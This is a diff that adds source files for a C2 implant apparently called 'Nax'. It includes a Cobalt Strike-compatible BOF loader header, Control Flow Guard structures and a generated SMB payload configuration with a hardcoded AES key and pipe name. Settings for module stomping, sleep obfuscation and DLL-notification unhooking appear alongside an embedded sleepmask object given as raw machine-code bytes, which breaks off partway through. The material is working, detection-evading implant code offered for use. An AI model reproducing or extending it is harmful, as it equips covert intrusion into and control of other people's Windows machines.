; After `call RetEndPtr`, [rsp] = address of the `ret` in EndPtr (section offset 0x05).
; Section layout:
; 0x00 call RetEndPtr (5 bytes)
; 0x05 ret (1 byte) <- [rsp] lands here
; 0x06 mov rax,[rsp] (4 bytes)
; 0x0a add rax, 0x0a (4 bytes)
; 0x0e ret (1 byte)
; 0x0f <- one-past-end
; [rsp] = 0x05; 0x05 + 0x0a = 0x0f = one-past-end of section.
EndPtr:
call RetEndPtr
ret
RetEndPtr:
mov rax, [rsp]
add rax, 0x0a
ret
+186
View File
@@ -0,0 +1,186 @@
/* beacon/include/Bof.h
* COFF/BOF loader types - COFF structs, Beacon API interface, output type constants.
* Beacon API functions (BeaconOutput, BeaconDataParse, ...) are declared here and
* implemented in src/Bof/Api.c. The COFF loader lives in src/Bof/Loader.c. */
#pragma once
#include "Macros.h"
#include "Instance.h"
/* ========= [ COFF / BOF constants ] ========= */
#define COF_MACHINE_AMD64 0x8664
#define COF_MACHINE_I386 0x014C
/* x64 relocation types */
#define IMAGE_REL_AMD64_ADDR64 0x0001
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
#define IMAGE_REL_AMD64_REL32 0x0004
#define IMAGE_REL_AMD64_REL32_1 0x0005
#define IMAGE_REL_AMD64_REL32_2 0x0006
#define IMAGE_REL_AMD64_REL32_3 0x0007
#define IMAGE_REL_AMD64_REL32_4 0x0008
#define IMAGE_REL_AMD64_REL32_5 0x0009
/* x86 relocation types */
#define IMAGE_REL_I386_DIR32 0x0006
#define IMAGE_REL_I386_REL32 0x0014
/* COFF symbol class */
#define IMAGE_SYM_CLASS_EXTERNAL 0x02
#define IMAGE_SYM_CLASS_STATIC 0x03
/* BeaconOutput / BeaconPrintf callback types (Cobalt Strike convention) */
#define CALLBACK_OUTPUT 0x00
#define CALLBACK_OUTPUT_OEM 0x1E
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0D
/* Adaptix-extension callback types (adaptix.h) */
#define CALLBACK_AX_SCREENSHOT 0x81
#define CALLBACK_AX_DOWNLOAD_MEM 0x82
/* BOF loader error codes written to BofCtx output on failure */
#define BOF_ERROR_PARSE 0x101 /* malformed COFF */
#define BOF_ERROR_SYMBOL 0x102 /* unresolved external symbol */
#define BOF_ERROR_ENTRY 0x104 /* 'go' entry not found */
#define BOF_ERROR_ALLOC 0x105 /* section allocation failed */
#define BOF_MAX_SECTIONS 16 /* hard cap on sections per BOF */
#define BOF_OUTPUT_CAP 8192 /* heap output buffer capacity */
/* NtCurrentProcess() / NtCurrentThread() are provided by ntdll.h via Instance.h */
/* ========= [ COFF structures ] ========= */
#pragma pack(push, 1)
typedef struct _COF_HEADER {
UINT16 Machine;
UINT16 NumberOfSections;
UINT32 TimeDateStamp;
UINT32 PointerToSymbolTable;
UINT32 NumberOfSymbols;
UINT16 SizeOfOptionalHeader;
UINT16 Characteristics;
} COF_HEADER, *PCOF_HEADER;
typedef struct _COF_SECTION {
CHAR Name[8];
UINT32 VirtualSize;
UINT32 VirtualAddress;
UINT32 SizeOfRawData;
UINT32 PointerToRawData;
UINT32 PointerToRelocations;
UINT32 PointerToLineNumbers;
UINT16 NumberOfRelocations;
UINT16 NumberOfLinenumbers;
UINT32 Characteristics;
} COF_SECTION, *PCOF_SECTION;
typedef struct _COF_SYMBOL {
union {
CHAR cName[8];
struct { UINT32 Short; UINT32 Long; } Name;
};
UINT32 Value;
INT16 SectionNumber;
UINT16 Type;
BYTE StorageClass;
BYTE NumberOfAuxSymbols;
} COF_SYMBOL, *PCOF_SYMBOL;
typedef struct _COF_RELOCATION {
UINT32 VirtualAddress;
UINT32 SymbolTableIndex;
UINT16 Type;
} COF_RELOCATION, *PCOF_RELOCATION;
/* x64 runtime function entry (one per function in .pdata) */
typedef struct _BOF_RUNTIME_FUNCTION {
UINT32 BeginAddress;
UINT32 EndAddress;
UINT32 UnwindInfoAddress;
} BOF_RUNTIME_FUNCTION;
#pragma pack(pop)
/* ========= [ Beacon API data structures ] ========= */
/* Standard BOF argument parser state - stack-allocated by the BOF's go() */
typedef struct {
CHAR* original;
CHAR* buffer;
INT length;
INT size;
} datap;
/* Format accumulator - heap-allocated via BeaconFormatAlloc */
typedef struct {
CHAR* original;
CHAR* buffer;
INT length;
INT size;
} formatp;
/* ========= [ Beacon API table ] ========= */
typedef struct {
UINT32 Hash; /* FNV1a-32 of function name (no __imp_ prefix) */
PVOID Proc; /* pointer to our implementation */
} NAX_BOF_API;
#define NAX_BOF_API_COUNT 29 /* 15 original + 6 beacon.h + 2 adaptix.h + 4 Win32 proxy + 2 async BOF */
/* ========= [ Beacon API declarations ] ========= */
/* Full contract: beacon.h (CS 4.x compatible).
* We implement the functions below; everything else in beacon.h is stubbed. */
/* Data parsing */
FUNC VOID BeaconDataParse( datap* parser, CHAR* buffer, INT size );
FUNC CHAR* BeaconDataPtr( datap* parser, INT size );
FUNC INT BeaconDataInt( datap* parser );
FUNC SHORT BeaconDataShort( datap* parser );
FUNC INT BeaconDataLength( datap* parser );
FUNC CHAR* BeaconDataExtract( datap* parser, INT* size );
/* Output */
FUNC VOID BeaconOutput( INT type, const CHAR* data, INT len );
FUNC VOID BeaconPrintf( INT type, const CHAR* fmt, ... );
/* Token / utility stubs */
FUNC BOOL BeaconUseToken( HANDLE token );
FUNC VOID BeaconRevertToken( VOID );
FUNC BOOL BeaconIsAdmin( VOID );
FUNC VOID BeaconGetSpawnTo( BOOL x86, CHAR* buffer, INT length );
FUNC BOOL BeaconInformation( PVOID info );
FUNC BOOL toWideChar( CHAR* src, WCHAR* dst, INT max );
/* Format buffer */
FUNC VOID BeaconFormatAlloc( formatp* format, INT maxsz );
FUNC VOID BeaconFormatReset( formatp* format );
FUNC VOID BeaconFormatFree( formatp* format );
FUNC VOID BeaconFormatAppend( formatp* format, CHAR* text, INT len );
FUNC VOID BeaconFormatPrintf( formatp* format, CHAR* fmt, ... );
FUNC CHAR* BeaconFormatToString( formatp* format, INT* size );
FUNC VOID BeaconFormatInt( formatp* format, INT value );
/* Adaptix-extension BOF callbacks (adaptix.h compatible) */
FUNC VOID AxAddScreenshot( CHAR* note, CHAR* data, INT len );
FUNC VOID AxDownloadMemory( CHAR* filename, CHAR* data, INT len );
/* Async BOF APIs */
FUNC VOID BeaconWakeup( VOID );
FUNC HANDLE BeaconGetStopJobEvent( VOID );
/* ========= [ loader entry point ] ========= */
FUNC INT NaxBofExecute( PNAX_INSTANCE Nax,
PBYTE bof, UINT32 bof_size,
PBYTE user_args, UINT32 user_args_size );
FUNC PVOID NaxBofLoadResident( PNAX_INSTANCE Nax,
PBYTE bof, UINT32 bof_size,
PCHAR sym_name );
FUNC VOID NaxBofFreeResident( PNAX_INSTANCE Nax );
+26
View File
@@ -0,0 +1,26 @@
/* beacon/include/Cfg.h
* Control Flow Guard types and constants. */
#pragma once
#include <windows.h>
/* ProcessControlFlowGuardPolicy = 7 (PROCESS_MITIGATION_POLICY enum) */
#define NAX_POLICY_CFG 7
typedef struct {
union {
DWORD Flags;
struct {
DWORD EnableControlFlowGuard : 1;
DWORD EnableExportSuppression : 1;
DWORD StrictMode : 1;
DWORD EnableXfg : 1;
DWORD EnableXfgAuditMode : 1;
DWORD ReservedFlags : 27;
};
};
} NAX_CFG_POLICY;
#ifndef CFG_CALL_TARGET_VALID
#define CFG_CALL_TARGET_VALID 0x00000001
#endif
+15
View File
@@ -0,0 +1,15 @@
#define MAX_FILE_SIZE 2048
#define MAX_PATH_SIZE 512
/* NaxWriteWin32Err - write TEB->LastErrorValue as 4-byte LE into the result
* buffer so the server can display a meaningful Win32 error name.
* Must be called BEFORE any subsequent API that could overwrite LastError. */
#define NaxWriteWin32Err( out_ptr, out_len_ptr ) do { \
DWORD _e = NaxCurrentTeb()->LastErrorValue; \
PBYTE _p = (PBYTE)(out_ptr); \
_p[0] = (BYTE)( _e & 0xFF ); \
_p[1] = (BYTE)( (_e >> 8) & 0xFF ); \
_p[2] = (BYTE)( (_e >> 16) & 0xFF ); \
_p[3] = (BYTE)( (_e >> 24) & 0xFF ); \
*(out_len_ptr) = 4; \
} while(0)
+72
View File
@@ -0,0 +1,72 @@
/* Config.h - generated by BuildPayload (SMB)
*
* Pipe: naxsmb
* AES Key: ea92316cf0f2aa1460625e97baa02d9c
* Sleep: 0 ms Jitter: 0%
*/
#pragma once
#define NAX_SLEEP_MS 0u
#define NAX_JITTER_PCT 0u
#define NAX_SID_LEN 17u
#define NAX_WATERMARK 0xA04A4178u
#define NAX_LISTENER_WM 0x69E1EB44u
#define NAX_GATE_WAITFORSINGLEOBJECT
#define NAX_GATE_WAITFORMULTIPLEOBJECTS
#define NAX_AES_KEY_WRITE( p ) do { \
(p)[ 0]=0xEA; (p)[ 1]=0x92; (p)[ 2]=0x31; (p)[ 3]=0x6C; (p)[ 4]=0xF0; (p)[ 5]=0xF2; (p)[ 6]=0xAA; (p)[ 7]=0x14; \
(p)[ 8]=0x60; (p)[ 9]=0x62; (p)[10]=0x5E; (p)[11]=0x97; (p)[12]=0xBA; (p)[13]=0xA0; (p)[14]=0x2D; (p)[15]=0x9C; \
} while(0)
#define NAX_C2_URL_WRITE( p ) do { \
(p)[ 0]='n'; (p)[ 1]='a'; (p)[ 2]='x'; (p)[ 3]='s'; (p)[ 4]='m'; (p)[ 5]='b'; \
(p)[ 6]='\0'; \
} while(0)
/* ---- sleep obfuscation defaults ---- */
#define NAX_DEFAULT_SLEEP_OBF 0
/* ---- BOF module stomping ---- */
#define NAX_BOF_STOMP 1
#define NAX_BOF_SYNC_DLL_WRITE( p ) do { \
(p)[ 0]=L'c'; (p)[ 1]=L'h'; (p)[ 2]=L'a'; (p)[ 3]=L'k'; \
(p)[ 4]=L'r'; (p)[ 5]=L'a'; (p)[ 6]=L'.'; (p)[ 7]=L'd'; \
(p)[ 8]=L'l'; (p)[ 9]=L'l'; \
(p)[10]=L'\0'; \
} while(0)
#define NAX_BOF_ASYNC_COUNT 2
#define NAX_BOF_ASYNC_0_WRITE( p ) do { \
(p)[ 0]=L'j'; (p)[ 1]=L's'; (p)[ 2]=L'c'; (p)[ 3]=L'r'; \
(p)[ 4]=L'i'; (p)[ 5]=L'p'; (p)[ 6]=L't'; (p)[ 7]=L'9'; \
(p)[ 8]=L'.'; (p)[ 9]=L'd'; (p)[10]=L'l'; (p)[11]=L'l'; \
(p)[12]=L'\0'; \
} while(0)
#define NAX_BOF_ASYNC_1_WRITE( p ) do { \
(p)[ 0]=L'd'; (p)[ 1]=L'3'; (p)[ 2]=L'd'; (p)[ 3]=L'1'; \
(p)[ 4]=L'1'; (p)[ 5]=L'.'; (p)[ 6]=L'd'; (p)[ 7]=L'l'; \
(p)[ 8]=L'l'; \
(p)[ 9]=L'\0'; \
} while(0)
/* ---- sleepmask stomp DLL ---- */
#define NAX_SM_STOMP_DLL_WRITE( p ) do { \
(p)[ 0]=L'm'; (p)[ 1]=L's'; (p)[ 2]=L'x'; (p)[ 3]=L'm'; \
(p)[ 4]=L'l'; (p)[ 5]=L'6'; (p)[ 6]=L'.'; (p)[ 7]=L'd'; \
(p)[ 8]=L'l'; (p)[ 9]=L'l'; \
(p)[10]=L'\0'; \
} while(0)
/* ---- DLL notification unhooking ---- */
#define NAX_UNHOOK_DLL_NOTIFY 1
/* ---- embedded sleepmask BOF ---- */
#define NAX_SLEEPMASK_LEN 3723u
#include "Config_sleepmask.h"
+471
View File
@@ -0,0 +1,471 @@
/* Config_sleepmask.h - auto-generated sleepmask BOF embed
* 3723 bytes, included by Config.h */
#define NAX_SLEEPMASK_WRITE( p ) do { \
(p)[ 0]=0x64; (p)[ 1]=0x86; (p)[ 2]=0x07; (p)[ 3]=0x00; (p)[ 4]=0x00; (p)[ 5]=0x00; (p)[ 6]=0x00; (p)[ 7]=0x00; \
(p)[ 8]=0xF4; (p)[ 9]=0x0A; (p)[ 10]=0x00; (p)[ 11]=0x00; (p)[ 12]=0x22; (p)[ 13]=0x00; (p)[ 14]=0x00; (p)[ 15]=0x00; \
(p)[ 16]=0x00; (p)[ 17]=0x00; (p)[ 18]=0x04; (p)[ 19]=0x00; (p)[ 20]=0x2E; (p)[ 21]=0x74; (p)[ 22]=0x65; (p)[ 23]=0x78; \
(p)[ 24]=0x74; (p)[ 25]=0x00; (p)[ 26]=0x00; (p)[ 27]=0x00; (p)[ 28]=0x00; (p)[ 29]=0x00; (p)[ 30]=0x00; (p)[ 31]=0x00; \
(p)[ 32]=0x00; (p)[ 33]=0x00; (p)[ 34]=0x00; (p)[ 35]=0x00; (p)[ 36]=0x20; (p)[ 37]=0x07; (p)[ 38]=0x00; (p)[ 39]=0x00; \
(p)[ 40]=0x2C; (p)[ 41]=0x01; (p)[ 42]=0x00; (p)[ 43]=0x00; (p)[ 44]=0xB4; (p)[ 45]=0x09; (p)[ 46]=0x00; (p)[ 47]=0x00; \
(p)[ 48]=0x00; (p)[ 49]=0x00; (p)[ 50]=0x00; (p)[ 51]=0x00; (p)[ 52]=0x0E; (p)[ 53]=0x00; (p)[ 54]=0x00; (p)[ 55]=0x00; \
(p)[ 56]=0x20; (p)[ 57]=0x00; (p)[ 58]=0x50; (p)[ 59]=0x60; (p)[ 60]=0x2E; (p)[ 61]=0x64; (p)[ 62]=0x61; (p)[ 63]=0x74; \
(p)[ 64]=0x61; (p)[ 65]=0x00; (p)[ 66]=0x00; (p)[ 67]=0x00; (p)[ 68]=0x00; (p)[ 69]=0x00; (p)[ 70]=0x00; (p)[ 71]=0x00; \
(p)[ 72]=0x00; (p)[ 73]=0x00; (p)[ 74]=0x00; (p)[ 75]=0x00; (p)[ 76]=0x00; (p)[ 77]=0x00; (p)[ 78]=0x00; (p)[ 79]=0x00; \
(p)[ 80]=0x00; (p)[ 81]=0x00; (p)[ 82]=0x00; (p)[ 83]=0x00; (p)[ 84]=0x00; (p)[ 85]=0x00; (p)[ 86]=0x00; (p)[ 87]=0x00; \
(p)[ 88]=0x00; (p)[ 89]=0x00; (p)[ 90]=0x00; (p)[ 91]=0x00; (p)[ 92]=0x00; (p)[ 93]=0x00; (p)[ 94]=0x00; (p)[ 95]=0x00; \
(p)[ 96]=0x40; (p)[ 97]=0x00; (p)[ 98]=0x50; (p)[ 99]=0xC0; (p)[ 100]=0x2E; (p)[ 101]=0x62; (p)[ 102]=0x73; (p)[ 103]=0x73; \
(p)[ 104]=0x00; (p)[ 105]=0x00; (p)[ 106]=0x00; (p)[ 107]=0x00; (p)[ 108]=0x00; (p)[ 109]=0x00; (p)[ 110]=0x00; (p)[ 111]=0x00; \
(p)[ 112]=0x00; (p)[ 113]=0x00; (p)[ 114]=0x00; (p)[ 115]=0x00; (p)[ 116]=0x00; (p)[ 117]=0x00; (p)[ 118]=0x00; (p)[ 119]=0x00; \
(p)[ 120]=0x00; (p)[ 121]=0x00; (p)[ 122]=0x00; (p)[ 123]=0x00; (p)[ 124]=0x00; (p)[ 125]=0x00; (p)[ 126]=0x00; (p)[ 127]=0x00; \
(p)[ 128]=0x00; (p)[ 129]=0x00; (p)[ 130]=0x00; (p)[ 131]=0x00; (p)[ 132]=0x00; (p)[ 133]=0x00; (p)[ 134]=0x00; (p)[ 135]=0x00; \
(p)[ 136]=0x80; (p)[ 137]=0x00; (p)[ 138]=0x50; (p)[ 139]=0xC0; (p)[ 140]=0x2E; (p)[ 141]=0x72; (p)[ 142]=0x64; (p)[ 143]=0x61; \
(p)[ 144]=0x74; (p)[ 145]=0x61; (p)[ 146]=0x00; (p)[ 147]=0x00; (p)[ 148]=0x00; (p)[ 149]=0x00; (p)[ 150]=0x00; (p)[ 151]=0x00; \
(p)[ 152]=0x00; (p)[ 153]=0x00; (p)[ 154]=0x00; (p)[ 155]=0x00; (p)[ 156]=0xB0; (p)[ 157]=0x00; (p)[ 158]=0x00; (p)[ 159]=0x00; \
(p)[ 160]=0x4C; (p)[ 161]=0x08; (p)[ 162]=0x00; (p)[ 163]=0x00; (p)[ 164]=0x00; (p)[ 165]=0x00; (p)[ 166]=0x00; (p)[ 167]=0x00; \
(p)[ 168]=0x00; (p)[ 169]=0x00; (p)[ 170]=0x00; (p)[ 171]=0x00; (p)[ 172]=0x00; (p)[ 173]=0x00; (p)[ 174]=0x00; (p)[ 175]=0x00; \
(p)[ 176]=0x40; (p)[ 177]=0x00; (p)[ 178]=0x50; (p)[ 179]=0x40; (p)[ 180]=0x2E; (p)[ 181]=0x78; (p)[ 182]=0x64; (p)[ 183]=0x61; \
(p)[ 184]=0x74; (p)[ 185]=0x61; (p)[ 186]=0x00; (p)[ 187]=0x00; (p)[ 188]=0x00; (p)[ 189]=0x00; (p)[ 190]=0x00; (p)[ 191]=0x00; \
(p)[ 192]=0x00; (p)[ 193]=0x00; (p)[ 194]=0x00; (p)[ 195]=0x00; (p)[ 196]=0x50; (p)[ 197]=0x00; (p)[ 198]=0x00; (p)[ 199]=0x00; \
(p)[ 200]=0xFC; (p)[ 201]=0x08; (p)[ 202]=0x00; (p)[ 203]=0x00; (p)[ 204]=0x00; (p)[ 205]=0x00; (p)[ 206]=0x00; (p)[ 207]=0x00; \
(p)[ 208]=0x00; (p)[ 209]=0x00; (p)[ 210]=0x00; (p)[ 211]=0x00; (p)[ 212]=0x00; (p)[ 213]=0x00; (p)[ 214]=0x00; (p)[ 215]=0x00; \
(p)[ 216]=0x40; (p)[ 217]=0x00; (p)[ 218]=0x30; (p)[ 219]=0x40; (p)[ 220]=0x2E; (p)[ 221]=0x70; (p)[ 222]=0x64; (p)[ 223]=0x61; \
(p)[ 224]=0x74; (p)[ 225]=0x61; (p)[ 226]=0x00; (p)[ 227]=0x00; (p)[ 228]=0x00; (p)[ 229]=0x00; (p)[ 230]=0x00; (p)[ 231]=0x00; \
(p)[ 232]=0x00; (p)[ 233]=0x00; (p)[ 234]=0x00; (p)[ 235]=0x00; (p)[ 236]=0x48; (p)[ 237]=0x00; (p)[ 238]=0x00; (p)[ 239]=0x00; \
(p)[ 240]=0x4C; (p)[ 241]=0x09; (p)[ 242]=0x00; (p)[ 243]=0x00; (p)[ 244]=0x40; (p)[ 245]=0x0A; (p)[ 246]=0x00; (p)[ 247]=0x00; \
(p)[ 248]=0x00; (p)[ 249]=0x00; (p)[ 250]=0x00; (p)[ 251]=0x00; (p)[ 252]=0x12; (p)[ 253]=0x00; (p)[ 254]=0x00; (p)[ 255]=0x00; \
(p)[ 256]=0x40; (p)[ 257]=0x00; (p)[ 258]=0x30; (p)[ 259]=0x40; (p)[ 260]=0x2F; (p)[ 261]=0x34; (p)[ 262]=0x00; (p)[ 263]=0x00; \
(p)[ 264]=0x00; (p)[ 265]=0x00; (p)[ 266]=0x00; (p)[ 267]=0x00; (p)[ 268]=0x00; (p)[ 269]=0x00; (p)[ 270]=0x00; (p)[ 271]=0x00; \
(p)[ 272]=0x00; (p)[ 273]=0x00; (p)[ 274]=0x00; (p)[ 275]=0x00; (p)[ 276]=0x20; (p)[ 277]=0x00; (p)[ 278]=0x00; (p)[ 279]=0x00; \
(p)[ 280]=0x94; (p)[ 281]=0x09; (p)[ 282]=0x00; (p)[ 283]=0x00; (p)[ 284]=0x00; (p)[ 285]=0x00; (p)[ 286]=0x00; (p)[ 287]=0x00; \
(p)[ 288]=0x00; (p)[ 289]=0x00; (p)[ 290]=0x00; (p)[ 291]=0x00; (p)[ 292]=0x00; (p)[ 293]=0x00; (p)[ 294]=0x00; (p)[ 295]=0x00; \
(p)[ 296]=0x40; (p)[ 297]=0x00; (p)[ 298]=0x50; (p)[ 299]=0x40; (p)[ 300]=0x55; (p)[ 301]=0x48; (p)[ 302]=0x89; (p)[ 303]=0xE5; \
(p)[ 304]=0x48; (p)[ 305]=0x83; (p)[ 306]=0xEC; (p)[ 307]=0x50; (p)[ 308]=0x48; (p)[ 309]=0x89; (p)[ 310]=0x4D; (p)[ 311]=0x10; \
(p)[ 312]=0x48; (p)[ 313]=0x8B; (p)[ 314]=0x45; (p)[ 315]=0x10; (p)[ 316]=0x48; (p)[ 317]=0x8B; (p)[ 318]=0x40; (p)[ 319]=0x10; \
(p)[ 320]=0x89; (p)[ 321]=0x45; (p)[ 322]=0xFC; (p)[ 323]=0x8B; (p)[ 324]=0x45; (p)[ 325]=0xFC; (p)[ 326]=0x48; (p)[ 327]=0x8D; \
(p)[ 328]=0x0D; (p)[ 329]=0x00; (p)[ 330]=0x00; (p)[ 331]=0x00; (p)[ 332]=0x00; (p)[ 333]=0x89; (p)[ 334]=0xC2; (p)[ 335]=0x48; \
(p)[ 336]=0x8B; (p)[ 337]=0x05; (p)[ 338]=0x00; (p)[ 339]=0x00; (p)[ 340]=0x00; (p)[ 341]=0x00; (p)[ 342]=0xFF; (p)[ 343]=0xD0; \
(p)[ 344]=0x48; (p)[ 345]=0xC7; (p)[ 346]=0x45; (p)[ 347]=0xF0; (p)[ 348]=0x00; (p)[ 349]=0x00; (p)[ 350]=0x00; (p)[ 351]=0x00; \
(p)[ 352]=0x48; (p)[ 353]=0x8D; (p)[ 354]=0x45; (p)[ 355]=0xF0; (p)[ 356]=0xC7; (p)[ 357]=0x44; (p)[ 358]=0x24; (p)[ 359]=0x20; \
(p)[ 360]=0x00; (p)[ 361]=0x00; (p)[ 362]=0x00; (p)[ 363]=0x00; (p)[ 364]=0x41; (p)[ 365]=0xB9; (p)[ 366]=0x01; (p)[ 367]=0x00; \
(p)[ 368]=0x00; (p)[ 369]=0x00; (p)[ 370]=0x41; (p)[ 371]=0xB8; (p)[ 372]=0x00; (p)[ 373]=0x00; (p)[ 374]=0x00; (p)[ 375]=0x00; \
(p)[ 376]=0xBA; (p)[ 377]=0x03; (p)[ 378]=0x00; (p)[ 379]=0x1F; (p)[ 380]=0x00; (p)[ 381]=0x48; (p)[ 382]=0x89; (p)[ 383]=0xC1; \
(p)[ 384]=0x48; (p)[ 385]=0x8B; (p)[ 386]=0x05; (p)[ 387]=0x00; (p)[ 388]=0x00; (p)[ 389]=0x00; (p)[ 390]=0x00; (p)[ 391]=0xFF; \
(p)[ 392]=0xD0; (p)[ 393]=0x48; (p)[ 394]=0x8B; (p)[ 395]=0x45; (p)[ 396]=0xF0; (p)[ 397]=0x48; (p)[ 398]=0x85; (p)[ 399]=0xC0; \
(p)[ 400]=0x74; (p)[ 401]=0x3A; (p)[ 402]=0x8B; (p)[ 403]=0x45; (p)[ 404]=0xFC; (p)[ 405]=0x48; (p)[ 406]=0x69; (p)[ 407]=0xC0; \
(p)[ 408]=0xF0; (p)[ 409]=0xD8; (p)[ 410]=0xFF; (p)[ 411]=0xFF; (p)[ 412]=0x48; (p)[ 413]=0x89; (p)[ 414]=0x45; (p)[ 415]=0xE8; \
(p)[ 416]=0x48; (p)[ 417]=0x8B; (p)[ 418]=0x45; (p)[ 419]=0xF0; (p)[ 420]=0x48; (p)[ 421]=0x8D; (p)[ 422]=0x55; (p)[ 423]=0xE8; \
(p)[ 424]=0x49; (p)[ 425]=0x89; (p)[ 426]=0xD0; (p)[ 427]=0xBA; (p)[ 428]=0x00; (p)[ 429]=0x00; (p)[ 430]=0x00; (p)[ 431]=0x00; \
(p)[ 432]=0x48; (p)[ 433]=0x89; (p)[ 434]=0xC1; (p)[ 435]=0x48; (p)[ 436]=0x8B; (p)[ 437]=0x05; (p)[ 438]=0x00; (p)[ 439]=0x00; \
(p)[ 440]=0x00; (p)[ 441]=0x00; (p)[ 442]=0xFF; (p)[ 443]=0xD0; (p)[ 444]=0x48; (p)[ 445]=0x8B; (p)[ 446]=0x45; (p)[ 447]=0xF0; \
(p)[ 448]=0x48; (p)[ 449]=0x89; (p)[ 450]=0xC1; (p)[ 451]=0x48; (p)[ 452]=0x8B; (p)[ 453]=0x05; (p)[ 454]=0x00; (p)[ 455]=0x00; \
(p)[ 456]=0x00; (p)[ 457]=0x00; (p)[ 458]=0xFF; (p)[ 459]=0xD0; (p)[ 460]=0x90; (p)[ 461]=0x48; (p)[ 462]=0x83; (p)[ 463]=0xC4; \
(p)[ 464]=0x50; (p)[ 465]=0x5D; (p)[ 466]=0xC3; (p)[ 467]=0x55; (p)[ 468]=0x48; (p)[ 469]=0x89; (p)[ 470]=0xE5; (p)[ 471]=0x48; \
(p)[ 472]=0x83; (p)[ 473]=0xEC; (p)[ 474]=0x40; (p)[ 475]=0x48; (p)[ 476]=0x89; (p)[ 477]=0x4D; (p)[ 478]=0x10; (p)[ 479]=0x48; \
(p)[ 480]=0x8B; (p)[ 481]=0x45; (p)[ 482]=0x10; (p)[ 483]=0x48; (p)[ 484]=0x8B; (p)[ 485]=0x40; (p)[ 486]=0x10; (p)[ 487]=0x48; \
(p)[ 488]=0x89; (p)[ 489]=0x45; (p)[ 490]=0xF8; (p)[ 491]=0x48; (p)[ 492]=0x8B; (p)[ 493]=0x45; (p)[ 494]=0x10; (p)[ 495]=0x48; \
(p)[ 496]=0x8B; (p)[ 497]=0x40; (p)[ 498]=0x18; (p)[ 499]=0x89; (p)[ 500]=0x45; (p)[ 501]=0xF4; (p)[ 502]=0x8B; (p)[ 503]=0x55; \
(p)[ 504]=0xF4; (p)[ 505]=0x48; (p)[ 506]=0x8B; (p)[ 507]=0x45; (p)[ 508]=0xF8; (p)[ 509]=0x48; (p)[ 510]=0x8D; (p)[ 511]=0x0D; \
(p)[ 512]=0x20; (p)[ 513]=0x00; (p)[ 514]=0x00; (p)[ 515]=0x00; (p)[ 516]=0x41; (p)[ 517]=0x89; (p)[ 518]=0xD0; (p)[ 519]=0x48; \
(p)[ 520]=0x89; (p)[ 521]=0xC2; (p)[ 522]=0x48; (p)[ 523]=0x8B; (p)[ 524]=0x05; (p)[ 525]=0x00; (p)[ 526]=0x00; (p)[ 527]=0x00; \
(p)[ 528]=0x00; (p)[ 529]=0xFF; (p)[ 530]=0xD0; (p)[ 531]=0x8B; (p)[ 532]=0x45; (p)[ 533]=0xF4; (p)[ 534]=0x48; (p)[ 535]=0x69; \
(p)[ 536]=0xC0; (p)[ 537]=0xF0; (p)[ 538]=0xD8; (p)[ 539]=0xFF; (p)[ 540]=0xFF; (p)[ 541]=0x48; (p)[ 542]=0x89; (p)[ 543]=0x45; \
(p)[ 544]=0xE8; (p)[ 545]=0x48; (p)[ 546]=0x8D; (p)[ 547]=0x55; (p)[ 548]=0xE8; (p)[ 549]=0x48; (p)[ 550]=0x8B; (p)[ 551]=0x45; \
(p)[ 552]=0xF8; (p)[ 553]=0x49; (p)[ 554]=0x89; (p)[ 555]=0xD0; (p)[ 556]=0xBA; (p)[ 557]=0x00; (p)[ 558]=0x00; (p)[ 559]=0x00; \
(p)[ 560]=0x00; (p)[ 561]=0x48; (p)[ 562]=0x89; (p)[ 563]=0xC1; (p)[ 564]=0x48; (p)[ 565]=0x8B; (p)[ 566]=0x05; (p)[ 567]=0x00; \
(p)[ 568]=0x00; (p)[ 569]=0x00; (p)[ 570]=0x00; (p)[ 571]=0xFF; (p)[ 572]=0xD0; (p)[ 573]=0x89; (p)[ 574]=0x45; (p)[ 575]=0xF0; \
(p)[ 576]=0x8B; (p)[ 577]=0x45; (p)[ 578]=0xF0; (p)[ 579]=0x48; (p)[ 580]=0x63; (p)[ 581]=0xD0; (p)[ 582]=0x48; (p)[ 583]=0x8B; \
(p)[ 584]=0x45; (p)[ 585]=0x10; (p)[ 586]=0x48; (p)[ 587]=0x89; (p)[ 588]=0x50; (p)[ 589]=0x60; (p)[ 590]=0x90; (p)[ 591]=0x48; \
(p)[ 592]=0x83; (p)[ 593]=0xC4; (p)[ 594]=0x40; (p)[ 595]=0x5D; (p)[ 596]=0xC3; (p)[ 597]=0x55; (p)[ 598]=0x48; (p)[ 599]=0x89; \
(p)[ 600]=0xE5; (p)[ 601]=0x48; (p)[ 602]=0x83; (p)[ 603]=0xEC; (p)[ 604]=0x30; (p)[ 605]=0x48; (p)[ 606]=0x89; (p)[ 607]=0x4D; \
(p)[ 608]=0x10; (p)[ 609]=0x48; (p)[ 610]=0x8B; (p)[ 611]=0x45; (p)[ 612]=0x10; (p)[ 613]=0x48; (p)[ 614]=0x8B; (p)[ 615]=0x40; \
(p)[ 616]=0x28; (p)[ 617]=0x89; (p)[ 618]=0x45; (p)[ 619]=0xFC; (p)[ 620]=0x48; (p)[ 621]=0x8B; (p)[ 622]=0x45; (p)[ 623]=0x10; \
(p)[ 624]=0x48; (p)[ 625]=0x8B; (p)[ 626]=0x40; (p)[ 627]=0x20; (p)[ 628]=0x41; (p)[ 629]=0x89; (p)[ 630]=0xC0; (p)[ 631]=0x48; \
(p)[ 632]=0x8B; (p)[ 633]=0x45; (p)[ 634]=0x10; (p)[ 635]=0x48; (p)[ 636]=0x8B; (p)[ 637]=0x40; (p)[ 638]=0x10; (p)[ 639]=0x89; \
(p)[ 640]=0xC1; (p)[ 641]=0x8B; (p)[ 642]=0x55; (p)[ 643]=0xFC; (p)[ 644]=0x48; (p)[ 645]=0x8D; (p)[ 646]=0x05; (p)[ 647]=0x48; \
(p)[ 648]=0x00; (p)[ 649]=0x00; (p)[ 650]=0x00; (p)[ 651]=0x41; (p)[ 652]=0x89; (p)[ 653]=0xD1; (p)[ 654]=0x89; (p)[ 655]=0xCA; \
(p)[ 656]=0x48; (p)[ 657]=0x89; (p)[ 658]=0xC1; (p)[ 659]=0x48; (p)[ 660]=0x8B; (p)[ 661]=0x05; (p)[ 662]=0x00; (p)[ 663]=0x00; \
(p)[ 664]=0x00; (p)[ 665]=0x00; (p)[ 666]=0xFF; (p)[ 667]=0xD0; (p)[ 668]=0x48; (p)[ 669]=0x8B; (p)[ 670]=0x45; (p)[ 671]=0x10; \
(p)[ 672]=0x48; (p)[ 673]=0x8B; (p)[ 674]=0x40; (p)[ 675]=0x20; (p)[ 676]=0x41; (p)[ 677]=0x89; (p)[ 678]=0xC0; (p)[ 679]=0x48; \
